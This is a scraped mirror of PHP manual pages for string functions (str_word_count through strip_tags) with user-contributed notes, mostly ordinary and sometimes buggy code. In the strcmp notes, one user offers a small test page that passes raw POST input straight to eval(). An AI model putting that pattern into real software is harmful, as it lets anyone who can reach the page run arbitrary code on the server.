   $trimmed = "";
   $string = preg_replace("/\040+/"," ", trim($string));
   $stringc = explode(" ",$string);
   echo sizeof($stringc);
   if($word_count >= sizeof($stringc))
   {
       // nothing to do, our string is smaller than the limit.
     return $string;
   }
   elseif($word_count < sizeof($stringc))
   {
       // trim the string to the word count
       for($i=0;$i<$word_count;$i++)
       {
           $trimmed .= $stringc[$i]." ";
       }

       if(substr($trimmed, strlen(trim($trimmed))-1, 1) == '.')
         return trim($trimmed).'..';
       else
         return trim($trimmed).'...';
   }
}

$text = "some  test          text goes in here, I'm not sure, but ok.";
echo trim_text($text,5);
MadCoder
16-Aug-2005 12:12
Here's a function that will trim a $string down to a certian number of words, and add a...  on the end of it.
(explansion of muz1's 1st 100 words code)

----------------------------------------------
function trim_text($text, $count){
$text = str_replace("  ", " ", $text);
$string = explode(" ", $text);
for ( $wordCounter = 0; $wordCounter <= $count;wordCounter++ ){
$trimed .= $string[$wordCounter];
if ( $wordCounter < $count ){ $trimed .= " "; }
else { $trimed .= "..."; }
}
$trimed = trim($trimed);
return $trimed;
}

Usage
------------------------------------------------
$string = "one two three four";
echo trim_text($string, 3);

returns:
one two three...
jtey at uoguelph dot ca
15-Aug-2005 07:21
In the previous note, the example will only extract from the string, words separated by exactly one space.  To properly extract words from all strings, use regular expressions.

Example (extracting the first 4 words):
<?php
$string = "One    two three      four  five six";
echo implode(" ", array_slice(preg_split("/\s+/", $string), 0, 4));
?>

The above $string would not have otherwise worked when using the explode() method below.
jtey at uoguelph dot ca
14-Aug-2005 10:59
In reply to muz1's post below:

You can also take advantage of using other built in PHP functions to get to your final result.  Consider the following:
<?php
$string = "One two three four five six seven eight nine ten.";
// the first n words to extract
$n = 3;
// extract the words
$words = explode(" ", $string);
// chop the words array down to the first n elements
$firstN = array_slice($words, 0, $n);
// glue the 3 elements back into a spaced sentence
$firstNAsAString = implode(" ", $firstN);
// display it
echo $firstNAsAString;
?>

Or to do it all in one line:
<?php
echo implode(" ", array_slice(explode(" ", $string), 0, $n));
?>
muz1 at muzcore dot com
12-Aug-2005 03:56
This function is awesome however I needed to display the first 100 words of a string. I am submitting this as a possible solution but also to get feedback as to whether it is the most efficient way of doing it.

<?
                                   $currString = explode(" ", $string);
for ($wordCounter=0; $wordCounter<100; $wordCounter++) { echo $currString[$wordCounter]." "; }
?>
16-Jan-2005 10:38
This function seems to view numbers as whitespace. I.e. a word consisting of numbers only won't be counted.
aix at lux dot ee
14-Nov-2004 06:53
One function.
<?php
if (!function_exists('word_count')) {
function word_count($str,$n = "0"){
   $m=strlen($str)/2;
   $a=1;
   while ($a<$m) {
       $str=str_replace("  "," ",$str);
       $a++;
       }
   $b = explode(" ", $str);
   $i = 0;
   foreach ($b as $v) {
       $i++;
       }
   if ($n==1) return $b;
   else  return $i;

   }
}
$str="Tere Tartu linn";
$c  = word_count($str,1); // it return an array
$d  = word_count($str); // it return int - how many words was in text
print_r($c);
echo $d;
?>
aidan at php dot net
26-Jun-2004 06:02
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
Kirils Solovjovs
23-Feb-2004 01:06
Nothing of this worked for me. I think countwords() is very encoding dependent. This is the code for win1257. For other layots you just need to redefine the ranges of letters...

<?php
function countwords($text){
       $ls=0;//was it a whitespace?
       $cc33=0;//counter
       for($i=0;$i<strlen($text);$i++){
               $spstat=false; //is it a number or a letter?
               $ot=ord($text[$i]);
               if( (($ot>=48) && ($ot<=57)) ||  (($ot>=97) && ($ot<=122)) || (($ot>=65) && ($ot<=90)) || ($ot==170) ||
               (($ot>=192) && ($ot<=214)) || (($ot>=216) && ($ot<=246)) || (($ot>=248) && ($ot<=254))  )$spstat=true;
               if(($ls==0)&&($spstat)){
                       $ls=1;
                       $cc33++;
               }
               if(!$spstat)$ls=0;
       }
       return $cc33;
}

?>
Artimis
15-Oct-2003 05:32
Never use this function to count/separate alphanumeric words, it will just split them up words to words, numbers to numbers.  You could refer to another function "preg_split" when splitting alphanumeric words.  It works with Chinese characters as well.
andrea at 3site dot it
19-May-2003 07:55
if string doesn't contain the space " ", the explode method doesn't do anything, so i've wrote this and it seems works better ... i don't know about time and resource

<?php
function str_incounter($match,$string) {
$count_match = 0;
for($i=0;$i<strlen($string);$i++) {
if(strtolower(substr($string,$i,strlen($match)))==strtolower($match)) {
$count_match++;
}
}
return $count_match;
}
?>

example

<?php
$string = "something:something!!something";
$count_some = str_incounter("something",$string);
// will return 3
?>
megat at megat dot co dot uk
19-Apr-2003 09:29
[Ed: You'd probably want to use regular expressions if this was the case --alindeman @ php.net]

Consider what will happen in some of the above suggestions when a person puts more than one space between words. That's why it's not sufficient just to explode the string.
olivier at ultragreen dot net
11-Apr-2003 09:10
I will not discuss the accuracy of this function but one of the source codes above does this.

<?php
function wrdcnt($haystack) {
 $cnt = explode(" ", $haystack);
 return count($cnt) - 1;
}
?>

That could be replace by

<?php
function wrdcnt($haystack) {
 return substr_count($haystack,' ') + 1;
}
?>

I doubt this does need to be a function :)
philip at cornado dot com
07-Apr-2003 10:30
Some ask not just split on ' ', well, it's because simply exploding on a ' ' isn't fully accurate.  Words can be separated by tabs, newlines, double spaces, etc.  This is why people tend to seperate on all whitespace with regular expressions.
rcATinterfacesDOTfr
16-Jan-2003 11:58
Here is another way to count words :
$word_count = count(preg_split('/\W+/', $text, -1, PREG_SPLIT_NO_EMPTY));
brettNOSPAM at olwm dot NO_SPAM dot com
10-Nov-2002 04:06
This example may not be pretty, but It proves accurate:

<?php
//count words
$words_to_count = strip_tags($body);
$pattern = "/[^(\w|\d|\'|\"|\.|\!|\?|;|,|\\|\/|\-\-|:|\&|@)]+/";
$words_to_count = preg_replace ($pattern, " ", $words_to_count);
$words_to_count = trim($words_to_count);
$total_words = count(explode(" ",$words_to_count));
?>

Hope I didn't miss any punctuation. ;-)
gorgonzola at nospam dot org
01-Nov-2002 06:48
i tried to write a wordcounter and ended up with this:

<?php
//strip html-codes or entities
$text = strip_tags(strtr($text, array_flip(get_html_translation_table(HTML_ENTITIES))));
//count the words
$wordcount = preg_match_all("#(\w+)#", $text, $match_dummy );
?>
add a note add a note

后退 | 起点 | 前进
str_split | 上一级 | strcasecmp


strcasecmp

(PHP 3 >= 3.0.2, PHP 4, PHP 5)

strcasecmp -- Binary safe case-insensitive string comparison

Description

int strcasecmp ( string str1, string str2 )

Returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal.

例子 1. strcasecmp() example

<?php
$var1 = "Hello";
$var2 = "hello";
if (strcasecmp($var1, $var2) == 0) {
    echo '$var1 is equal to $var2 in a case-insensitive string comparison';
}
?>

See also
ereg(),
strcmp(),
substr(),
stristr(),
strncasecmp(), and
strstr().

add a note add a note User Contributed Notes
27-Aug-2002 09:53
The sample above is only true on some platforms that only use a simple 'C' locale, where individual bytes are considered as complete characters that are converted to lowercase before being differentiated.

Other locales (see LC_COLLATE and LC_ALL) use the difference of collation order of characters, where characters may be groups of bytes taken from the input strings, or simply return -1, 0, or 1 as the collation order is not simply defined by comparing individual characters but by more complex rules.

Don't base your code on a specific non null value returned by strcmp() or strcasecmp(): it is not portable. Just consider the sign of the result and be sure to use the correct locale!
add a note add a note

后退 | 起点 | 前进
str_word_count | 上一级 | strchr


strchr

(PHP 3, PHP 4, PHP 5)

strchr -- 别名 strstr()

说明

本函数是该函数的别名： strstr().

add a note add a note User Contributed Notes
webmaster at lyndonstate dot edu
13-Nov-2003 04:01
Alternative Way:
To get all the text before the first occurence.

-----------------------------------------------
INCLUDING A NEEDLE:

$string1 = "I need cookies & soda.";
$needle = "cookies";

//find length of the needle
$needle_len = strlen($needle);

//find postion
$position_num = strpos($string1,$needle) + $needle_len;

//cut the string
$result_string = substr("$string1",0,$position_num);

//display it
echo"$result_string"; // I need cookies

-----------------------------------------------
SHORTER VERSION:

$result_string = substr("$string1",0,strpos($string1,$needle)+strlen($needle));

echo"$result_string";//I need cookies

-----------------------------------------------
EXCLUDING THE NEEDLE:

$result_string = substr("$string1",0,strpos($string1,$needle));

echo"$result_string";// I need

-----------------------------------------------
FREE EMAIL JUNK?

This is probably useful for processing emails.
For example, someone sends email to your server from Yahoo account.
Free email always comes with wasted stuff like...
"Do you Yahoo!? The New Yahoo! Shopping - with improved product search ".
We can delete the phrase like this:

$needle="Do you Yahoo!?";

$result_string = substr("$emailstring",0,strpos($emailstring, $needle));
joaobett at oninet dot pt
11-Jan-2003 12:43
//If you want to get the text before the occurence of the character
//you want to find, simply use the function strRev twice:

$stringA = "user@example.com";
$toFind = "@";

$stringA = strrev($stringA); //The first time
$result = strchr($stringA,$toFind);
$result = strrev($result); //The second time
echo $result; //prints user@

//You can use it this way instead:
echo strrev( strchr(strrev($stringA),$toFind) );

-joao
add a note add a note

后退 | 起点 | 前进
strcasecmp | 上一级 | strcmp


strcmp

(PHP 3, PHP 4, PHP 5)

strcmp -- Binary safe string comparison

Description

int strcmp ( string str1, string str2 )

Returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal.

Note that this comparison is case sensitive.

See also ereg(),
strcasecmp(),
substr(),
stristr(),
strncasecmp(),
strncmp(), and
strstr().

add a note add a note User Contributed Notes
robertb at littleNOSPAMcutie dot net
05-Apr-2006 10:19
S dot Radovanovic suggested:

"So my conclusion is that when comparing string, you'd better not make use of == (use strmp or === instead). For integer comparisons the == equation can be usefull, since our values will always be casted to an integer (1 == "1" returns true)."

When I tried this, I ran into a problem with parameters passed in the URL.  I forgot that a parameter that is not supplied wouldn't be a string, so this code -- which I expected to default to the current year -- didn't work:

<?php
// Did we get a parameter?
if ($year === '') {
   // Default to current year
   $temp = getdate();
   $year = $temp['year'];
}

$fname = "magic{$year}.txt";

if (file_exists($fname) == FALSE) {
  echo "<h2>Data file doesn't exist</h2>";
  exit;
}
?>

Since $year was uninitialized, it didn't exactly equal '', and the file wasn't found.  I went back to == in this case.

However, I did heed your advice when looking for a particular value ($debug === 'Y'), instead of looking for the lack of a value.  Thanks!
php dot or dot die at phpuser dot net
15-Feb-2006 06:19
I've a strange problem. I tried to compare string in the same order oracle does.
The strange thing is:
strcmp('ACQUE_SOTTERRANEE','ACQUE_SOTT_ORAC')
//result is -1
strcasecmp('ACQUE_SOTTERRANEE','ACQUE_SOTT_ORAC')
//result is 6

I'm surprised for the opposite result!
The correct order (oracle ascending order) is:
1- ACQUE_SOTTERRANEE
2- ACQUE_SOTT_ORAC
francis at flourish dot org
08-Dec-2005 10:57
If you want to strings according to locale, use strcoll instead.
element @ no spam dot net
20-Feb-2005 07:42
When using strcmp to compare results received from a form, keep in mind that the way you decide to encapsulate the value of the form will have an effect on your strcmp() results.

Example:

<input type="post" name="user[0]" value="abc">
<input type="post" name="user[1]" value='abc'>

strcmp() will not return the values sent from this form as "0".

However, by using single-quotes or double-quotes to encapsulate BOTH values, strcmp() will return a "0" result.
S dot Radovanovic at TriMM dot nl
07-Feb-2005 10:36
One thing to note in comparison with ==

When we make a comparison with == php automaticly converts strings to integers when either side of the comparison is an integer, f.e.:
<?
$value = 0;
if($value == "submit") {
   echo "Let's submit";
}
?>
Above would be succesful, since "submit" is converted to an integer (eq 0) and the equation is would return true; (that's why (1 == "1submit") would also return true)

That's why we should use strcmp or === (checks type also), for string comparisons.

So my conclusion is that when comparing string, you'd better not make use of == (use strmp or === instead). For integer comparisons the == equation can be usefull, since our values will always be casted to an integer (1 == "1" returns true).
x123 at bestof-inter dot net
30-Oct-2004 09:43
Please tell what you mean by "alphabetically" and when you say
"because of the way it works, it is not very useful..." or
"I get strange results, 1 for strings that are equal, etc." :
give an example where it does not work and/or show where your script works better!
(To test some PHP code, it is sufficient to have a file of 3 lines:
<form action='' method=POST><input type=submit value=Evaluate>
<textarea id=c><?=$c=stripslashes($_POST['c'])?></textarea>
<br>Result of the above:<pre><?=eval($c)?></pre></form>)

Imagine how much time is lost for visitors trying to figure out what your program does differently from strcmp ?

Imagine how much resources are wasted if PHP users are made to think that PHP functions don't work well and use the EXTREMELY inefficient routines proposed below (e.g. a string comparision routine that uses substr(...,$i,1) to access individual caracters...!)

If the documentation says 'binary safe' this should mean that strings are compared byte by byte (according to internal format)
- if strcmp() does instead use locale collation tables, this should be clearly mentioned in the documentation.
pabloATnkstudiosDOTnet
02-Jun-2004 02:36
Just note that the documentation about the function returns is a little confused.

So...

If $str1 == $str2 strcmp return 0.
If $str1  > $str2 strcmp return 1.
If $str1  < $str2 strcmp return -1.

Pablo Rosciani
http://pablo.rosciani.com.ar
jcanals at totsoft dot com
31-Jan-2004 10:05
Some notes about the spanish locale. I've read some notes that says  "CH", "RR" or "LL" must be considered as a single letter in Spanish. That's not really tru. "CH", "RR" and "LL" where considered a single letter in the past (lot of years ago), for that you must use the "Tradictional Sort". Nowadays, the Academy uses the Modern Sort and recomends not to consider anymore "CH", "RR" and "LL" as a single letter. They must be considered two separated letters and sort and compare on that way.

Ju just have to take a look to the Offial Spanish Language Dictionary and you can see there that from many years ago there is not the separated section for "CH", "LL" or "RR" ... i.e. words starting with CH must be after the ones starting by CG, and before the ones starting by CI.
gregd at sad dot net
09-Sep-2003 02:49
In cases when you need to compare a line from a just parsed file stream to match a user-defined "nametag" (useful for parsing ini and configuration files), keep in mind the 'end of line' tags as well:

// nametag to look for in a file (notice a required "\r\n" at the end)
$nametag = "[System]\r\n";

// ...assuming the file has been aready opened for reading and the stream is bound to $filehandle... parse the file until an EOF or $nametag encountered.

while (!feof ($handle))
{
   $buffer = fgets($filehandle);
   if (strcmp($nametag, $buffer) == 0)
   {
       // at this point "[System]" is found, do additional parsings...
       break;
   }
}
admin[nospam] at pretend dot tk
18-Jun-2003 10:44
Reguarding the above note on language specific string comparisons, LL and RR are also single letters in the Spanish language.
mnunemacher at datility dot net
28-Apr-2003 06:40
Because of the way this function works, it's not very useful for ordering strings alphabetically. If you're trying to alphabetize a list of strings (like a dictionary does), you may want to use the following functions instead:
-----------------

// Returns 1 if $str1 comes before $str2 alphabetically
// Returns -1 if $str1 comes after $str2 alphabetically
// Returns 0 if $str1 and $str2 are the same
function orderAlpha ( $str1, $str2 ) {
   $limit = null;

   if ( strlen( $str1 ) > strlen( $str2 ) ) {
     $limit  = strlen( $str2 );
   } else {
     $limit = strlen( $str1 );
   }

   for ( $i = 0;$i < $limit;$i++ ) {
     if ( substr( $str1, $i, 1 ) > substr( $str2, $i, 1 ) ) {
         return 1;
     } else if ( substr( $str1, $i, 1 ) < substr( $str2, $i, 1 ) ) {
         return -1;
     }
   }

   if ( strlen( $str1 ) > strlen( $str2 ) ) {
     return 1;
   } else if ( strlen( $str1 ) < strlen( $str2 ) ) {
     return -1;
   }

   return 0;
}

// Case insensitive version of orderAlpha
function orderiAlpha ( $str1, $str2 ) {
   return orderAlpha( strtolower( $str1 ), strtolower( $str2 ) );
}
-----------------
ahmed at somantic dot net
23-Mar-2003 04:52
For some reason the strcmp fails for this function if the $item_to_compare->ID = "AB123" or some similar string. This happened even though $ID = "AB123":
<pre>

function item_exists($ID)
{
   // returns 0 for error
   global $item_list; // this is an array of class objects

   if (is_array($item_list))
   {
     foreach ($item_list as $key => $item_to_compare)
     {
         if (!strcmp($item_to_compare->ID, $ID))
         {
           unset ($item_list);
           return $key;
         }
     }
   }
   // Else fail
   unset ($item_list);
   return 0;
}

</pre>

So I was forced to do this:

<pre>

function item_exists($ID)
{
   // returns 0 for error
   global $item_list;

   if (is_array($item_list))
   {
     for($i = 0; $i < count($item_list); $i++)
     {
         if (!strcmp($item_list[$i]->ID, $ID))
         {
           unset ($item_list);
           return $i;
         }
     }
   }
   // Else fail
   unset ($item_list);
   return 0;
}

</pre>
izhan dot khalib at acpibhd dot com
17-Dec-2002 03:13
I have tried the  strcmp function. Pls be very carefull. The string comparison must exactly "equal". So many people had confused.

I.e

My program read a string from test.txt file to get the
"[company name]" string.

// get contents of a file into a string
$filename = "test.txt";
$fd = fopen ($filename, "rb");
$contents = fread ($fd, filesize ($filename));

for($i=0;$i<strpos($contents, "]")+1;$i++)
{
//print $contents[$i];
//$a=trim($contents[$i]);
$a=$contents[$i];
echo $a;
//echo $i;
}

$str2="[companyname]";

// this comparison will resulted on greater (1), $result=1
//please remember $tempvariable[2] != $tempvariable (is not equal)
$result = strcmp(strtolower($a),strtolower($str2));

//this comparison working properly, $result=0
//$result = strcmp(strtolower($a),strtolower($str2[12]));

echo $result;

if ($a==$str2[12]) //double check the equality of string
{
echo "read the NextLine"; }
 else {
 echo "not equal";
 }
//end

fclose ($fd);
?>

I hope the above example will help you.
madsen at sjovedyr dot dk
03-Oct-2002 02:59
It's definitely worth noting that the return-values of strcmp() when used for i.e. password-checking is the oposite of that of the ==-operator.

I.e.:
$pw1 = "yeah";
$pw2 = "yeah";

if (strcmp($pw1, $pw2)) {  // This returns false.
   // $pw1 and $pw2 are NOT the same.
} else {
   // $pw1 and $pw2 are the same.
}

Where the use of the == operator would give us.:
if ($pw1==$pw2) {    // This returns true.
   // $pw1 and $pw2 are the same.
} else {
   // $pw1 and $pw2 are NOT the same.
}

Additionally, to check if $pw1 and $pw2 are of the same type you can use the === operator.
27-Aug-2002 09:45
In summary, strcmp() does not necessarily use the ASCII code order of each character like in the 'C' locale, but instead parse each string to match language-specific character entities (such as 'ch' in Spanish, or 'dz' in Czech), whose collation order is then compared. When both character entities have the same collation order (such as 'ss' and '' in German), they are compared relative to their code by strcmp(), or considered equal by strcasecmp().
The LC_COLLATE locale setting is then considered: only if LC_COLLATE=C or LC_ALL=C does strcmp() compare strings by character code.
Generally, most locales define the following order:
control, space, punctuation and underscore, digit, alpha (lower then upper with Latin scripts; or final, middle, then isolated, initial with Arabic script), symbols, others...
With strcasecmp(), the alpha subclass is ignored and consider all forms of letters as equal.
Note also that some locales behave differently with accented characters: some consider they are the same letter as the unaccented letter (with a minor collation order, e.g. French, Italian, Spanish), some consider they are distinct letters with an independant collation order (e.g. in the C locale, or in Nordic languages).
Finally, the collation string is not considering individual characters but instead groups of characters that form a single letter:
- for example "ch" or "CH" in Spanish which is always after all other strings beginning with 'c' or 'C', including "cz", but before 'd' or 'D';
- 'ss' and '' in German;
- 'dz', 'DZ' and 'Dz' in some Central European languages written with the Latin script...
- UTF-8, UTF-16 (Unicode), S-JIS, Big5, ISO2022 character encoding of a locale (the suffix in the locale name) first decode the characters into the UCS4/ISO10646 code position before applying the rules of the language indicated by the main locale...
So be extremely careful to what you consider a "character", as it may just mean a encoding byte with no significance in the string collation algorithm: the first character of the string "cholera" in Spanish is "ch", not "c" !
anonymous at anon dot com
15-Jun-2001 07:51
As mentioned above...be careful of trailing whitespace when making string comparisons...to be sure that you are rid of it all, use the trim() function.
timpie2000 at zeelandnet dot nl
28-Dec-2000 08:00
[Ed Note:
See strcasecmp().
--irc-html@php.net]

You can make this function case insentive by using

strcmp(strtolower($a) , strtolower ($b));
owen at cips dot nokia dot com
04-Nov-2000 08:23
Regarding bizarre return values from str*cmp(), I was having similar troubles until I realized that I was attempting to compare a string with HTML formatting with its plain-text equivilant. The formatted string was an <OPTION> value, so the HTML was rendered without the <b> and <i> formatting I was using. Consequently the formatted and unformatted strings were rendered identically in the browser. D'oh!
phpnotes at travelersweb dot com
01-Aug-2000 11:18
Here is a quick note to explain what is meant by > and <.  I wrote a script to compare results.  If a string is  closer to 'A' in the alphabet, it is < the other string.  Here is the output hope this save saves people lots of time:  <BR>
acc = acc    |  ac < acc  <BR>
accc > acc    | acd > acc  <BR>
acb < acc    |  acb < accc  <BR>
acb < accd  |  bcc > acc  <BR>
bcc > acc    |  bcca > acc  <BR>
bcc > acca  |  1bcc < acca  <BR>
bcc < bcc1    |  bcc1 > bcc  <BR>
1bcc < bcc    |  1bcc < 1bcd  <BR>
1bcd > 1bcc  |  _bcc < bcc  <BR>
bcc > _bcc    |  ;bcc < bcc  <BR>
bcc > ;bcc    |  bcc < bcc;  <BR>
bcc; = bcc;
Jesse at bend dot com
27-Jul-2000 01:15
Well, I am using PHP 4.0 and both strcmp and strcasecmp appear to be giving me very arbitrary and incomprehensible results. When I input strings, it appears that "equal" strings return "1", as well as some unequal strings, and that if the first argument is "smaller" then I *tend* to get negative numbers, but sometimes I get 1, and if larger I *tend* to get numbers larger than 1..

both strcmp and strcasecmp are thus rendered totally unuseable for me in order to either alphebetize or compare strings for inequality.
frewuill at merlin-corp dot com
29-Feb-2000 06:49
Hey be sure the string you are comparing has not special characters like '\n' or something like that.
add a note add a note

后退 | 起点 | 前进
strchr | 上一级 | strcoll


strcoll

(PHP 4 >= 4.0.5, PHP 5)

strcoll -- Locale based string comparison

Description

int strcoll ( string str1, string str2 )

Returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal. strcoll() uses the current locale for doing the comparisons. If the current locale is C or POSIX, this function is equivalent to strcmp().

Note that this comparison is case sensitive, and unlike strcmp() this function is not binary safe.

注: strcoll() was added in PHP 4.0.5, but was not enabled for win32 until 4.2.3.

See also ereg(), strcmp(),
strcasecmp(), substr(),
stristr(), strncasecmp(),
strncmp(), strstr(), and
setlocale().

add a note add a note User Contributed Notes
sakkarinlaohawisut15 at hotmail dot com
23-Mar-2003 03:31
strcoll()'s behavior is sometimes a little bit confusing. It depends on LC_COLLATE in your locale.

<?php

 $a = 'a';
 $b = 'A';

 print strcmp ($a, $b) . "\n"; // prints 1

setlocale (LC_COLLATE, 'C');
 print "C: " . strcoll ($a, $b) . "\n"; // prints 1

 setlocale (LC_COLLATE, 'de_DE');
 print "de_DE: " . strcoll ($a, $b) . "\n"; // prints -2

 setlocale (LC_COLLATE, 'de_CH');
print "de_CH: " . strcoll ($a, $b) . "\n"; // prints -2

 setlocale (LC_COLLATE, 'en_US');
 print "en_US: " . strcoll ($a, $b) . "\n"; // prints -2

?>

This is useful e. g. if want to sort an array by using strcoll:

<?php

 $a = array ('a', 'A', '', '', 'b', 'B');

 setlocale (LC_COLLATE, 'C');
 usort ($a, 'strcoll');
 print_r ($a);

?>

This is like sort($a):
 Array
 (
   [0] => A
   [1] => B
  [2] => a
   [3] => b
   [4] =>
   [5] =>
 )

<?php

 setlocale (LC_COLLATE, 'de_DE');
usort ($a, 'strcoll');
 print_r ($a)

?>
This is completely different:
 Array
 (
   [0] => a
   [1] => A
   [2] =>
   [3] =>
   [4] => b
  [5] => B
 )
27-Aug-2002 10:05
Note that some platforms implement strcmp() and strcasecmp() according to the current locale when strings are not binary equal, so that strcmp() and strcoll() will return the same value! This depends on how the PHP strcmp() function is compiled (i.e. if it uses the platform specific strcmp() found in its standard library!).
In that case, the only difference between strcoll() and strcmp() is that strcoll() may return 0 for distinct strings(i.e. consider strings are equal) while strcmp() will differentiate them if they have distinct binary encoding! This typically occurs on Asian systems.
What you can be sure is that strcmp() will always differentiate strings that are encoded differently, but the relative order may still use the current locale setting for collation order!
add a note add a note

后退 | 起点 | 前进
strcmp | 上一级 | strcspn


strcspn

(PHP 3 >= 3.0.3, PHP 4, PHP 5)

strcspn -- Find length of initial segment not matching mask

Description

int strcspn ( string str1, string str2 [, int start [, int length]] )

Returns the length of the initial segment of str1 which does not contain any of the characters in str2.

As of PHP 4.3.0, strcspn() accepts two optional integer parameters that can be used to define the start position and the length of the string to examine.

注: 本函数可安全用于二进制对象。

See also strspn().

add a note add a note User Contributed Notes
AT-HE (at_he AT hotmai1 DOT com)
27-Dec-2005 06:07
this function can be used like strspn(), except while that can be used to compare a string with an allowed pattern, this one can be use to compare a string with a FORBIDDEN pattern

so, to know if any forbidden character has a position inside our string, we can use (not tested with backslashes)...

<?php
// LARGE VERSION
$forbidden="\"\\?*:/@|<>";
if (strlen($filename) != strcspn($filename,$forbidden)) {
   echo "you cant create a file with that name!";
}

// SHORT VERSION
if (strlen($filename) - strcspn($filename,"\"\\?*:/@|<>")) {
   echo "i told you, you cant create that file";
}
?>
maskedcoder at hotmail dot com
11-Oct-2005 07:13
useful for finding beginning of quotes and/or tags in a variable containing html.
   $pos = strcspn($data, '<"\'');
will find the first occurance of either the beginning of a tag, or a double- or single-quoted string.
add a note add a note

后退 | 起点 | 前进
strcoll | 上一级 | strip_tags


strip_tags

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

strip_tags -- Strip HTML and PHP tags from a string

Description

string strip_tags ( string str [, string allowable_tags] )

This function tries to return a string with all HTML and PHP tags stripped from a given str. It uses the same tag stripping state machine as the fgetss() function.

You can use the optional second parameter to specify tags which should not be stripped.

注: allowable_tags was added in PHP 3.0.13 and PHP 4.0b3.

Since PHP 4.3.0, HTML comments are also stripped. This is hardcoded and can not be changed with allowable_tags.

警告

Because strip_tags() does not actually validate the HTML, partial, or broken tags can result in the removal of more text/data than expected.

警告

This function does not modify any attributes on the tags that you allow using allowable_tags, including the style and onmouseover attributes that a mischievous user may abuse when posting text that will be shown to other users.

例子 1. strip_tags() example

<?php
$text = '<p>Test paragraph.</p><!-- Comment --> Other text';
echo strip_tags($text);
echo "\n";

// Allow <p>
echo strip_tags($text, '<p>');
?>

上例将输出：

Test paragraph. Other text
<p>Test paragraph.</p> Other text

strip_tags() has been binary safe since PHP 5.0.0

See also htmlspecialchars().

add a note add a note User Contributed Notes
Sbastien
24-May-2006 11:22
hum, it seems that your function "theRealStripTags" won't have the right behavior in some cases, for example:

<?php
theRealStripTags("<!-- I want to put a <div>tag</div> -->");
theRealStripTags("<!-- Or a carrot > -->");
theRealStripTags("<![CDATA[what about this! It's to protect from HTML characters like <tag>, > and so on in XML, no?]]> -->");
?>
xyexz at yahoo dot com
09-May-2006 11:41
I have found with this function that sometimes it will only remove the first carrot from a tag and leave the rest of the tag in the string, which obviously isn't what I'm looking for.

EX:
<?php

//Returns "tag>test/tag>"
echo strip_tags("<tag>test</tag>");

?>

I'm trying to strip_tags on a string I'm importing from xml so perhaps it has something to do with that but if you've run into this same issue I've written a function to fix it once and for all!

<?php

function theRealStripTags($string)
{
   //while there are tags left to remove
   while(strstr($string, '>'))
   {
       //find position of first carrot
       $currentBeg = strpos($string, '<');

       //find position of end carrot
       $currentEnd = strpos($string, '>');

       //find out if there is string before first carrot
       //if so save it in $tmpstring
       $tmpStringBeg = @substr($string, 0, $currentBeg);

       //find out if there is string after last carrot
       //if so save it in $tmpStringEnd
       $tmpStringEnd = @substr($string, $currentEnd + 1, strlen($string));

       //cut the tag from the string
       $string = $tmpStringBeg.$tmpStringEnd;
   }

   return $string;
}

//Returns "test"
echo theRealStripTags('<tag>test</tag>');

?>
soapergem at gmail dot com
29-Apr-2006 12:21
In my prior comment I made a mistake that needs correcting. Please change the forward slashes that begin and terminate my regular expression to a different character, like the at-sign (@), for instance. Here's what it should read:

$regex  = '@</?\w+((\s+\w+(\s*=\s*';
$regex .= '(?:".*?"|\'.*?\'|[^\'">\s]+))?)+';
$regex .= '\s*|\s*)/?>@i';

(There were forward-slashes embedded in the regular expression itself, so using them to begin and terminate the expression would have caused a parse error.)
JeremysFilms.com
08-Apr-2006 04:57
A simple little function for blocking tags by replacing the '<' and '>' characters with their HTML entities.  Good for simple posting systems that you don't want to have a chance of stripping non-HTML tags, or just want everything to show literally without any security issues:

<?php

function block_tags($string){
   $replaced_string = str_ireplace('<','&lt',$string);
   $replaced_string = str_ireplace('>','&gt',$replaced_string);
   return $replaced_string;
}

echo block_tags('<b>HEY</b>'); //Returns &ltb&gtHEY&lt/b&gt

?>
cesar at nixar dot org
08-Mar-2006 03:44
Here is a recursive function for strip_tags like the one showed in the stripslashes manual page.

<?php
function strip_tags_deep($value)
{
  return is_array($value) ?
   array_map('strip_tags_deep', $value) :
   strip_tags($value);
}

// Example
$array = array('<b>Foo</b>', '<i>Bar</i>', array('<b>Foo</b>', '<i>Bar</i>'));
$array = strip_tags_deep($array);

// Output
print_r($array);
?>
debug at jay dot net
24-Feb-2006 06:24
If you wish to steal quotes:
$quote=explode( "\n",
str_replace(array('document.writeln(\'','\')',';'),'',
strip_tags(
file_get_contents('http://www.quotationspage.com/data/1mqotd.js')
)
)
);
use $quote[2] & $quote[3]
It gives you a quote a day
balluche AROBASE free.fr
18-Feb-2006 06:16
//balluche:22/01/04:Remove even bad tags
function strip_bad_tags($html)
{
   $s = preg_replace ("@</?[^>]*>*@", "", $html);
   return $s;
}
salavert at~ akelos
13-Feb-2006 06:21
<?php
       /**
   * Works like PHP function strip_tags, but it only removes selected tags.
   * Example:
   *    strip_selected_tags('<b>Person:</b> <strong>Salavert</strong>', 'strong') => <b>Person:</b> Salavert
   */

   function strip_selected_tags($text, $tags = array())
   {
       $args = func_get_args();
       $text = array_shift($args);
       $tags = func_num_args() > 2 ? array_diff($args,array($text))  : (array)$tags;
       foreach ($tags as $tag){
           if(preg_match_all('/<'.$tag.'[^>]*>(.*)<\/'.$tag.'>/iU', $text, $found)){
               $text = str_replace($found[0],$found[1],$text);
         }
       }

       return $text;
   }

?>

Hope you find it useful,

Jose Salavert
webmaster at tmproductionz dot com
02-Feb-2006 11:28
<?php

function remove_tag ( $tag , $data ) {

   while ( eregi ( "<" . $tag , $data ) ) {

       $it    = stripos ( $data , "<" . $tag  ) ;

       $it2  = stripos ( $data , "</" . $tag . ">" ) + strlen ( $tag ) + 3 ;

       $temp  = substr ( $data , 0    , $it  ) ;

       $temp2 = substr ( $data , $it2 , strlen ( $data ) ) ;

       $data = $temp . $temp2 ;

   }

   return $data ;

}

?>

this code will remove only and all of the specified tag from a given haystack.
lucahomer at hotmail dot com
30-Jan-2006 09:42
I think the Regular expression posted <a href=function.strip-tags.php#51383>HERE</a>  is not correct

<?php
$disalowedtags = array("font");

foreach ($_GET as $varname)
foreach ($disalowedtags as $tag)

----------------------------------------------------------
if (eregi("<[^>]*".$tag."*\"?[^>]*>", $varname)) <---
----------------------------------------------------------

die("stop that");

?>

